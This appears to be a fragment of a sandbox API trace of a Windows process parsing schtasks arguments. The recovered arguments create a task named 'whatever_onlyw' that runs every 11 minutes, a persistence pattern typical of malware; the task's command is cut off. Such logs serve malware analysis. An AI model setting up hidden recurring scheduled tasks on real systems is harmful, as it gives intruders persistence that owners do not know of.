[0127.033] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0127.033] SetLastError (dwErrCode=0x490) [0127.033] lstrlenW (lpString="d") returned 1 [0127.033] lstrlenW (lpString="d") returned 1 [0127.033] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.033] lstrlenW (lpString="tn") returned 2 [0127.033] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.033] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|d|") returned 3 [0127.033] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.033] lstrlenW (lpString="|d|") returned 3 [0127.033] lstrlenW (lpString="|tn|") returned 4 [0127.033] SetLastError (dwErrCode=0x490) [0127.033] lstrlenW (lpString="m") returned 1 [0127.033] lstrlenW (lpString="m") returned 1 [0127.034] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.034] lstrlenW (lpString="tn") returned 2 [0127.034] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.034] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|m|") returned 3 [0127.034] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.034] lstrlenW (lpString="|m|") returned 3 [0127.034] lstrlenW (lpString="|tn|") returned 4 [0127.034] SetLastError (dwErrCode=0x490) [0127.034] lstrlenW (lpString="i") returned 1 [0127.034] lstrlenW (lpString="i") returned 1 [0127.034] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.034] lstrlenW (lpString="tn") returned 2 [0127.034] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.034] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|i|") returned 3 [0127.034] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.034] lstrlenW (lpString="|i|") returned 3 [0127.034] lstrlenW (lpString="|tn|") returned 4 [0127.034] SetLastError (dwErrCode=0x490) [0127.034] lstrlenW (lpString="tn") returned 2 [0127.034] lstrlenW (lpString="tn") returned 2 [0127.034] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.034] lstrlenW (lpString="tn") returned 2 [0127.034] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.035] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.035] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.035] lstrlenW (lpString="|tn|") returned 4 [0127.035] lstrlenW (lpString="|tn|") returned 4 [0127.035] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0127.035] SetLastError (dwErrCode=0x0) [0127.035] SetLastError (dwErrCode=0x0) [0127.035] lstrlenW (lpString="whatever_onlyw") returned 14 [0127.035] lstrlenW (lpString="-/") returned 2 [0127.035] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0127.035] SetLastError (dwErrCode=0x490) [0127.035] SetLastError (dwErrCode=0x490) [0127.035] SetLastError (dwErrCode=0x0) [0127.035] lstrlenW (lpString="whatever_onlyw") returned 14 [0127.035] StrChrIW (lpStart="whatever_onlyw", wMatch=0x3a) returned 0x0 [0127.035] SetLastError (dwErrCode=0x490) [0127.035] SetLastError (dwErrCode=0x0) [0127.035] lstrlenW (lpString="whatever_onlyw") returned 14 [0127.035] SetLastError (dwErrCode=0x0) [0127.035] SetLastError (dwErrCode=0x0) [0127.035] lstrlenW (lpString="/sc") returned 3 [0127.035] lstrlenW (lpString="-/") returned 2 [0127.035] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.035] lstrlenW (lpString="create") returned 6 [0127.035] lstrlenW (lpString="create") returned 6 [0127.035] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.035] lstrlenW (lpString="sc") returned 2 [0127.035] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.035] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.036] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.036] lstrlenW (lpString="|create|") returned 8 [0127.036] lstrlenW (lpString="|sc|") returned 4 [0127.036] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0127.036] SetLastError (dwErrCode=0x490) [0127.036] lstrlenW (lpString="?") returned 1 [0127.036] lstrlenW (lpString="?") returned 1 [0127.036] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.036] lstrlenW (lpString="sc") returned 2 [0127.036] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.036] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|?|") returned 3 [0127.036] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.036] lstrlenW (lpString="|?|") returned 3 [0127.036] lstrlenW (lpString="|sc|") returned 4 [0127.036] SetLastError (dwErrCode=0x490) [0127.036] lstrlenW (lpString="s") returned 1 [0127.036] lstrlenW (lpString="s") returned 1 [0127.036] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.036] lstrlenW (lpString="sc") returned 2 [0127.036] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.036] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|s|") returned 3 [0127.036] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.036] lstrlenW (lpString="|s|") returned 3 [0127.036] lstrlenW (lpString="|sc|") returned 4 [0127.036] SetLastError (dwErrCode=0x490) [0127.036] lstrlenW (lpString="u") returned 1 [0127.037] lstrlenW (lpString="u") returned 1 [0127.037] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.037] lstrlenW (lpString="sc") returned 2 [0127.037] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.037] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|u|") returned 3 [0127.037] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.037] lstrlenW (lpString="|u|") returned 3 [0127.037] lstrlenW (lpString="|sc|") returned 4 [0127.037] SetLastError (dwErrCode=0x490) [0127.037] lstrlenW (lpString="p") returned 1 [0127.037] lstrlenW (lpString="p") returned 1 [0127.037] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.037] lstrlenW (lpString="sc") returned 2 [0127.037] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.037] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|p|") returned 3 [0127.037] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.037] lstrlenW (lpString="|p|") returned 3 [0127.037] lstrlenW (lpString="|sc|") returned 4 [0127.037] SetLastError (dwErrCode=0x490) [0127.037] lstrlenW (lpString="ru") returned 2 [0127.037] lstrlenW (lpString="ru") returned 2 [0127.037] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.037] lstrlenW (lpString="sc") returned 2 [0127.037] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.037] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ru|") returned 4 [0127.037] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.038] lstrlenW (lpString="|ru|") returned 4 [0127.038] lstrlenW (lpString="|sc|") returned 4 [0127.038] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0127.038] SetLastError (dwErrCode=0x490) [0127.038] lstrlenW (lpString="rp") returned 2 [0127.038] lstrlenW (lpString="rp") returned 2 [0127.038] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.038] lstrlenW (lpString="sc") returned 2 [0127.038] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.038] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|rp|") returned 4 [0127.038] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.038] lstrlenW (lpString="|rp|") returned 4 [0127.038] lstrlenW (lpString="|sc|") returned 4 [0127.038] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0127.038] SetLastError (dwErrCode=0x490) [0127.038] lstrlenW (lpString="sc") returned 2 [0127.038] lstrlenW (lpString="sc") returned 2 [0127.038] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.038] lstrlenW (lpString="sc") returned 2 [0127.038] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.038] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.038] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.038] lstrlenW (lpString="|sc|") returned 4 [0127.038] lstrlenW (lpString="|sc|") returned 4 [0127.038] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0127.070] SetLastError (dwErrCode=0x0) [0127.070] SetLastError (dwErrCode=0x0) [0127.070] lstrlenW (lpString="MINUTE") returned 6 [0127.070] lstrlenW (lpString="-/") returned 2 [0127.070] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0127.070] SetLastError (dwErrCode=0x490) [0127.070] SetLastError (dwErrCode=0x490) [0127.070] SetLastError (dwErrCode=0x0) [0127.070] lstrlenW (lpString="MINUTE") returned 6 [0127.070] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0127.070] SetLastError (dwErrCode=0x490) [0127.070] SetLastError (dwErrCode=0x0) [0127.070] GetProcessHeap () returned 0x150000 [0127.070] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d560 [0127.071] _memicmp (_Buf1=0x16d560, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.071] lstrlenW (lpString="MINUTE") returned 6 [0127.071] GetProcessHeap () returned 0x150000 [0127.071] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d580 [0127.071] lstrlenW (lpString="MINUTE") returned 6 [0127.071] lstrlenW (lpString=" \x09") returned 2 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0127.071] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0127.071] GetLastError () returned 0x0 [0127.071] lstrlenW (lpString="MINUTE") returned 6 [0127.071] lstrlenW (lpString="MINUTE") returned 6 [0127.071] SetLastError (dwErrCode=0x0) [0127.071] SetLastError (dwErrCode=0x0) [0127.071] lstrlenW (lpString="/mo") returned 3 [0127.071] lstrlenW (lpString="-/") returned 2 [0127.071] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.071] lstrlenW (lpString="create") returned 6 [0127.071] lstrlenW (lpString="create") returned 6 [0127.071] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.071] lstrlenW (lpString="mo") returned 2 [0127.071] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.071] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.071] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.071] lstrlenW (lpString="|create|") returned 8 [0127.072] lstrlenW (lpString="|mo|") returned 4 [0127.072] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0127.072] SetLastError (dwErrCode=0x490) [0127.072] lstrlenW (lpString="?") returned 1 [0127.072] lstrlenW (lpString="?") returned 1 [0127.072] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.072] lstrlenW (lpString="mo") returned 2 [0127.072] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.072] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|?|") returned 3 [0127.072] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.072] lstrlenW (lpString="|?|") returned 3 [0127.072] lstrlenW (lpString="|mo|") returned 4 [0127.072] SetLastError (dwErrCode=0x490) [0127.072] lstrlenW (lpString="s") returned 1 [0127.072] lstrlenW (lpString="s") returned 1 [0127.072] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.072] lstrlenW (lpString="mo") returned 2 [0127.072] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.072] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|s|") returned 3 [0127.072] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.073] lstrlenW (lpString="|s|") returned 3 [0127.073] lstrlenW (lpString="|mo|") returned 4 [0127.073] SetLastError (dwErrCode=0x490) [0127.073] lstrlenW (lpString="u") returned 1 [0127.073] lstrlenW (lpString="u") returned 1 [0127.073] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.074] lstrlenW (lpString="mo") returned 2 [0127.074] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.074] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|u|") returned 3 [0127.074] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.074] lstrlenW (lpString="|u|") returned 3 [0127.074] lstrlenW (lpString="|mo|") returned 4 [0127.074] SetLastError (dwErrCode=0x490) [0127.074] lstrlenW (lpString="p") returned 1 [0127.074] lstrlenW (lpString="p") returned 1 [0127.074] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.074] lstrlenW (lpString="mo") returned 2 [0127.074] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.074] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|p|") returned 3 [0127.074] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.074] lstrlenW (lpString="|p|") returned 3 [0127.074] lstrlenW (lpString="|mo|") returned 4 [0127.074] SetLastError (dwErrCode=0x490) [0127.074] lstrlenW (lpString="ru") returned 2 [0127.074] lstrlenW (lpString="ru") returned 2 [0127.074] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.074] lstrlenW (lpString="mo") returned 2 [0127.074] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.074] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ru|") returned 4 [0127.075] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.075] lstrlenW (lpString="|ru|") returned 4 [0127.075] lstrlenW (lpString="|mo|") returned 4 [0127.075] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0127.075] SetLastError (dwErrCode=0x490) [0127.075] lstrlenW (lpString="rp") returned 2 [0127.075] lstrlenW (lpString="rp") returned 2 [0127.075] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.075] lstrlenW (lpString="mo") returned 2 [0127.075] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.075] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|rp|") returned 4 [0127.075] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.075] lstrlenW (lpString="|rp|") returned 4 [0127.075] lstrlenW (lpString="|mo|") returned 4 [0127.075] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0127.075] SetLastError (dwErrCode=0x490) [0127.075] lstrlenW (lpString="sc") returned 2 [0127.075] lstrlenW (lpString="sc") returned 2 [0127.075] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.075] lstrlenW (lpString="mo") returned 2 [0127.075] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.075] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.075] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.075] lstrlenW (lpString="|sc|") returned 4 [0127.075] lstrlenW (lpString="|mo|") returned 4 [0127.075] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0127.075] SetLastError (dwErrCode=0x490) [0127.075] lstrlenW (lpString="mo") returned 2 [0127.076] lstrlenW (lpString="mo") returned 2 [0127.076] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.076] lstrlenW (lpString="mo") returned 2 [0127.076] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.076] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.076] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.076] lstrlenW (lpString="|mo|") returned 4 [0127.076] lstrlenW (lpString="|mo|") returned 4 [0127.076] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0127.076] SetLastError (dwErrCode=0x0) [0127.076] SetLastError (dwErrCode=0x0) [0127.076] lstrlenW (lpString="11") returned 2 [0127.076] lstrlenW (lpString="-/") returned 2 [0127.076] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0127.076] SetLastError (dwErrCode=0x490) [0127.076] SetLastError (dwErrCode=0x490) [0127.076] SetLastError (dwErrCode=0x0) [0127.076] lstrlenW (lpString="11") returned 2 [0127.076] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0127.076] SetLastError (dwErrCode=0x490) [0127.076] SetLastError (dwErrCode=0x0) [0127.076] _memicmp (_Buf1=0x16d560, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.076] lstrlenW (lpString="11") returned 2 [0127.076] lstrlenW (lpString="11") returned 2 [0127.076] lstrlenW (lpString=" \x09") returned 2 [0127.076] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0127.076] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0127.076] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0127.076] GetLastError () returned 0x0 [0127.076] lstrlenW (lpString="11") returned 2 [0127.077] lstrlenW (lpString="11") returned 2 [0127.077] GetProcessHeap () returned 0x150000 [0127.077] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x6) returned 0x16b990 [0127.077] SetLastError (dwErrCode=0x0) [0127.077] SetLastError (dwErrCode=0x0) [0127.077] lstrlenW (lpString="/tr") returned 3 [0127.077] lstrlenW (lpString="-/") returned 2 [0127.077] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.077] lstrlenW (lpString="create") returned 6 [0127.077] lstrlenW (lpString="create") returned 6 [0127.077] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.077] lstrlenW (lpString="tr") returned 2 [0127.077] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.077] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.077] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.077] lstrlenW (lpString="|create|") returned 8 [0127.077] lstrlenW (lpString="|tr|") returned 4 [0127.077] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0127.077] SetLastError (dwErrCode=0x490) [0127.077] lstrlenW (lpString="?") returned 1 [0127.077] lstrlenW (lpString="?") returned 1 [0127.077] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.077] lstrlenW (lpString="tr") returned 2 [0127.077] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.077] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|?|") returned 3 [0127.077] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.078] lstrlenW (lpString="|?|") returned 3 [0127.078] lstrlenW (lpString="|tr|") returned 4 [0127.078] SetLastError (dwErrCode=0x490) [0127.078] lstrlenW (lpString="s") returned 1 [0127.078] lstrlenW (lpString="s") returned 1 [0127.078] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.078] lstrlenW (lpString="tr") returned 2 [0127.078] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.078] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|s|") returned 3 [0127.078] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.078] lstrlenW (lpString="|s|") returned 3 [0127.078] lstrlenW (lpString="|tr|") returned 4 [0127.078] SetLastError (dwErrCode=0x490) [0127.078] lstrlenW (lpString="u") returned 1 [0127.078] lstrlenW (lpString="u") returned 1 [0127.078] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.078] lstrlenW (lpString="tr") returned 2 [0127.078] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.078] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|u|") returned 3 [0127.078] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.078] lstrlenW (lpString="|u|") returned 3 [0127.078] lstrlenW (lpString="|tr|") returned 4 [0127.078] SetLastError (dwErrCode=0x490) [0127.079] lstrlenW (lpString="p") returned 1 [0127.079] lstrlenW (lpString="p") returned 1 [0127.079] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.079] lstrlenW (lpString="tr") returned 2 [0127.079] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.079] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|p|") returned 3 [0127.079] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.079] lstrlenW (lpString="|p|") returned 3 [0127.079] lstrlenW (lpString="|tr|") returned 4 [0127.079] SetLastError (dwErrCode=0x490) [0127.079] lstrlenW (lpString="ru") returned 2 [0127.079] lstrlenW (lpString="ru") returned 2 [0127.079] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.079] lstrlenW (lpString="tr") returned 2 [0127.079] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.079] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ru|") returned 4 [0127.079] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.079] lstrlenW (lpString="|ru|") returned 4 [0127.079] lstrlenW (lpString="|tr|") returned 4 [0127.079] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0127.079] SetLastError (dwErrCode=0x490) [0127.079] lstrlenW (lpString="rp") returned 2 [0127.079] lstrlenW (lpString="rp") returned 2 [0127.079] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.080] lstrlenW (lpString="tr") returned 2 [0127.080] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.080] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|rp|") returned 4 [0127.080] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.080] lstrlenW (lpString="|rp|") returned 4 [0127.080] lstrlenW (lpString="|tr|") returned 4 [0127.080] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0127.080] SetLastError (dwErrCode=0x490) [0127.080] lstrlenW (lpString="sc") returned 2 [0127.080] lstrlenW (lpString="sc") returned 2 [0127.080] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.080] lstrlenW (lpString="tr") returned 2 [0127.080] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.080] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.080] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", 